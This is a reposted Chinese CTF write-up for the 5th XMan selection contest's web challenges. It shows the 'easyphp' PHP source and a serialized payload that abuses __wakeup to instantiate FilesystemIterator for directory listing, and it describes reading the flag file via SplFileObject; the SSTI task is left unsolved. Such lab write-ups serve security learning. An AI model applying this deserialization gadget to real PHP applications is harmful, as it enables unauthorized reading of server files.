當前位置:
首頁 >
[WP]第五届XMan选拔赛web
發布時間:2023/12/20
56
豆豆
生活随笔
收集整理的這篇文章主要介紹了
[WP]第五届XMan选拔赛web
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
第五屆XMan選拔賽
本次比賽一共三道web,一道簽到題就不用說了,另外兩道貌似也都不是很難的題,但是確實水個人平太菜,沒都做出來,還是逐步積累經驗吧
easyphp
<?php error_reporting(0); highlight_file(__FILE__);class XMAN{public $class;public $para;public $check;public function __construct(){$this->class = "Hel";$this->para = "xctfer";echo new $this->class ($this->para);}public function __wakeup(){$this->check = new Filter;if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {echo new $this->class ($this->para);}elsedie('what?Really?');}} class Hel{var $a;public function __construct($a){$this->a = $a;echo ("Hello bro, I guess you are a lazy ".$this->a);} } class Filter{function vaild($code){$pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';if (preg_match($pattern, $code)){return false;}elsereturn true;} }if(isset($_GET['xctf'])){unserialize($_GET['xctf']); } else{$a=new XMAN; }本題考點,反序列化及拼接調用filesystemiterator和splfileobject類方法;
通過代碼審計,對我們有用的代碼如下:
主要是通過反序列化用wakeup拼接調用任意類方法,達到文件讀取的目的;
這里的兩個類方法功能:
構造序列化:
<?php error_reporting(0); highlight_file(__FILE__);class XMAN{public $class = 'FilesystemIterator';public $para = './';public $check; } $payload = new XMAN(); echo serialize($payload); //得到: //O:4:"XMAN":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:2:"./";s:5:"check";N;}顯示:
得到文件夾/xxxXXXmMManNNn
繼續構造:
顯示:
提醒flag在f1a4.php里:
構造反序列化調用splfileobject類方法讀取文件內容:
載入payload后查看源碼找到flag
easyssti
一道模板注入的題,還沒接觸過模板注入,官方wp還看不懂,先滾去學了。
總結
以上是生活随笔為你收集整理的[WP]第五届XMan选拔赛web的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 手机扫码登录流程
- 下一篇: 第一卷 第一百三十六章 好白菜